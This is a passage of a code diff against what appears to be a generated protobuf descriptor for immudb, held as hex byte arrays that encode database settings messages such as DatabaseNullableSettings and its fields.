0x74, 0x45, 0x78, 0x69, + 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, - 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, - 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, - 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x95, 0x0e, - 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, - 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, - 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, - 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x12, - 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, - 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, + 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, + 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, + 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, + 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, + 0x95, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, + 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, + 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, + 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, + 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, - 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, - 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, - 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x10, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, - 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x11, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, - 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, + 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, + 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, + 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, - 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 